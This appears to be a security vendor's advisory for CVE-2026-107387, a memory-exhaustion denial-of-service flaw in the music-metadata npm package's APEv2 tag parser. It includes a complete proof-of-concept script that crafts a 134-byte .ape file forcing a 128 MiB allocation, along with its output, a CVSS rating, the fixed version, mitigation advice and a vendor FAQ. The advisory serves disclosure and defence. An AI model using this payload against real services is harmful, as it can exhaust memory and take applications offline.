CVE-2026-107387

music-metadata: Uncontrolled memory allocation in APEv2 parser

size: Token.UINT32_LE.get(buf, off)

const picData = new Uint8Array(tagItemHeader.size);
await this.tokenizer.readBuffer(picData);

npm install --ignore-scripts
npm run compile-src:dev
node --expose-gc poc-apev2-memory.mjs

import { parseBuffer } from './lib/core.js';

const le16 = n => Uint8Array.from([n & 255, n >>> 8]);
const le32 = n => Uint8Array.from([n & 255, n >>> 8 & 255, n >>> 16 & 255, n >>> 24]);
const cat = (...parts) => {
  const out = new Uint8Array(parts.reduce((n, p) => n + p.length, 0));
  let off = 0;
  for (const p of parts) out.set(p, off), off += p.length;
  return out;
};

const big = 0x08000000; // 128 MiB

const desc = cat(
  Buffer.from('MAC '), le32(4000), le32(52), le32(24),
  le32(0), le32(0), le32(0), le32(0), le32(0), new Uint8Array(16)
);

const hdr = cat(
  le16(0), le16(0), le32(1), le32(1), le32(1),
  le16(16), le16(1), le32(44100)
);

const key = Buffer.from('Cover Art (Front)\0', 'ascii');
const item = cat(le32(big), le32(2));

const tag = cat(
  Buffer.from('APETAGEX'),
  le32(2000),
  le32(32 + item.length + key.length + big),
  le32(1),
  le32(0),
  new Uint8Array(8)
);

const payload = cat(desc, hdr, tag, item, key);

if (global.gc) global.gc();
const before = process.memoryUsage();

try {
  await parseBuffer(payload, { mimeType: 'audio/ape' });
} catch (error) {
  console.log(error.constructor.name + ': ' + error.message);
}

const after = process.memoryUsage();
console.log('input bytes:', payload.byteLength);
console.log('arrayBuffers delta MB:', ((after.arrayBuffers - before.arrayBuffers) / 1024 / 1024).toFixed(2));

EndOfStreamError: End-Of-Stream
input bytes: 134
arrayBuffers delta MB: 128.00

An application that parses untrusted .ape files with music-metadata may be vulnerable to denial of service through memory exhaustion.

The demonstrated payload is only 134 bytes but causes a 128 MiB allocation with default options. Concurrent or repeated parses can multiply the memory impact.

The impact is limited to availability. No confidentiality or integrity impact has been demonstrated.

CVE-2026-107387 has a CVSS score of 6.2 (Medium). The vector is requires local access, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (11.16.0); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

Validate tagItemHeader.size before allocation. The parser should reject tag item sizes that exceed the remaining tag/file data or a reasonable maximum size. Binary items should not allocate tagItemHeader.size until the size has been checked.

1. What is CVE-2026-107387? CVE-2026-107387 is a medium-severity security vulnerability in music-metadata (npm), affecting versions <= 11.12.3. It is fixed in 11.16.0.
2. How severe is CVE-2026-107387? CVE-2026-107387 has a CVSS score of 6.2 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of music-metadata are affected by CVE-2026-107387? music-metadata (npm) versions <= 11.12.3 is affected.
4. Is there a fix for CVE-2026-107387? Yes. CVE-2026-107387 is fixed in 11.16.0. Upgrade to this version or later.
5. Is CVE-2026-107387 exploitable, and should I be worried? Whether CVE-2026-107387 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-107387 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-107387? Upgrade music-metadata to 11.16.0 or later.

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